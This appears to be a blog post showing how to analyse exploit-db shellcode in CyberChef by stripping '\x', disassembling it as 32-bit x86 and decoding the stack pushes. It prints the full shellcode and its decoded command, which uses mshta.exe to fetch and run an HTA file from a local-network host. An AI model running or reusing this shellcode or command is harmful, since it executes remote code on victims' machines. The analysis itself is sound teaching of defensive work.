Cooking up Cyber

Add two parts cyber and one part input to produce a delicious recipe. All joking aside, CyberChef is a pretty sweet tool that anyone in the cybersecurity community would likely find useful. It really is the entire kitchen sink with over 300 unique operations which can be combined in different ways to help analyze input data. The input could be a file or just a chunk of data you want to copy/paste into the tool. CyberChef can be downloaded and ran locally in a web browser, or ran online in the github-io hosted version. I've referenced several good collections of recipes below to help with understanding how CyberChef can be used. One thing I sometimes want to do with CyberChef that I haven't seen blogged about, is look at Shellcode. In this blog I'll walk through a simple example of looking at some Shellcode with CyberChef and determining what is pushed onto the stack.

ShellCode Analysis with CyberChef

I got the following Shellcode from exploit-db, and I want to use CyberChef to understand what this Shellcode is doing. First I copy the Shellcode, as seen below, from exploit-db, and copy it into the input window of CyberChef.

```
\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xe3\x77\xff\xd3\x89  
\xc5\x31\xc0\x50\x68\x2e\x68\x74\x61\x68\x57\x61\x52\x4f\x68\x2f\x39\x4d\x4b\x68\x30  
\x38\x30\x38\x68\x31\x39\x32\x3a\x68\x2e\x34\x33\x2e\x68\x2e\x31\x36\x38\x68\x2f\x31
```

\x39\x32\x68\x74\x70\x3a\x2f\x68\x65\x20\x68\x74\x68\x61\x2e\x65\x78\x68\x6d\x73\x68
\x74\x89\xe7\x57\xb8\x6f\xb1\xfa\x6f\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xe3\x77\xff\xd0

Once you have pasted the Shellcode into CyberChef we need to clean it up a bit. Search for 'replace' and drag the Find/Replace operation into the recipe. Change the type to simple string and replace all '\x' with '' nothing. Basically just removing all the '\x', leaving hex data as output. From there drag in a 'Disassemble x86' operation. Change the bit mode to 32 bit since this is 32bit Shellcode. At this point you should see the Disassembled Shellcode as seen below.

The screenshot shows the CyberChef interface with a recipe containing two operations: 'Find / Replace' and 'Disassemble x86'. The 'Find / Replace' operation is configured to find '\x' and replace it with an empty string. The 'Disassemble x86' operation is configured with a bit mode of 32. The input is the shellcode from the previous block, and the output is a list of assembly instructions.

Address	Hex	Instruction
00000000	31C0	XOR EAX,EAX
00000002	66B87274	MOV AX,7472
00000006	50	PUSH EAX
00000007	686D737663	PUSH 6376736D
0000000C	54	PUSH ESP
0000000D	BB5C39E377	MOV EBX,77E3395C
00000012	FFD3	CALL EBX
00000014	89C5	MOV EBP,EAX
00000016	31C0	XOR EAX,EAX
00000018	50	PUSH EAX
00000019	682E687461	PUSH 6174682E
0000001E	685761524F	PUSH 4F526157
00000023	682F394D4B	PUSH 4B4D392F
00000028	6830383038	PUSH 38303830
0000002D	683139323A	PUSH 3A323931
00000032	682E34332E	PUSH 2E33342E
00000037	682E313638	PUSH 3836312E
0000003C	682F313932	PUSH 3239312F
00000041	6874703A2F	PUSH 2F3A7074
00000046	6865206874	PUSH 74682065
0000004B	68612E6578	PUSH 78652E61
00000050	686D736874	PUSH 7468736D

At this point I'm interested in all those pushes onto the stack. I'd like to know what is being pushed onto the stack. I copy/paste the stack pushes into a new CyberChef window in reverse order because the top of the stack will be the last push.

7468736D
78652E61
74682065
2F3A7074
3239312F
3836312E
2E33342E
3A323931
30383038
4B4D392F
4F526157
6174682E

After pasting that into the input window we'll need to change the endianness, and then convert the hex to text. You can see this done in the following screen shot using the 'Swap Endianness' operation and the 'From Hex' operation. Leaving "mshta.exe hxxp://192.168.43.192:8080/9MKWaRO.hta" as the value pushed onto the stack.

The screenshot shows the CyberChef interface with two operations: 'Swap endianness' and 'From Hex'. The 'Swap endianness' operation has 'Data format' set to 'Hex', 'Word length (bytes)' set to '4', and 'Pad incomplete words' checked. The 'From Hex' operation has 'Delimiter' set to 'Auto'. The input list contains 13 hex values. The output field shows the result: 'mshta.exe http://192.168.43.192:0808/9MKWaRO.hta'.

For more fun check out some of references below and the complete list of supported operations. I gathered the list of Operations below from looking at this [CyberChef json source code file](#).

| 386 Operations organized in 16 Categories.

Share your favorite ways to use CyberChef in the comments below.
